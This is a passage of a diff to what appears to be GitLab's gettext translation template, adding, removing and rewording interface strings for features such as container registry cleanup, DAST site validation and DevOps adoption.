+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
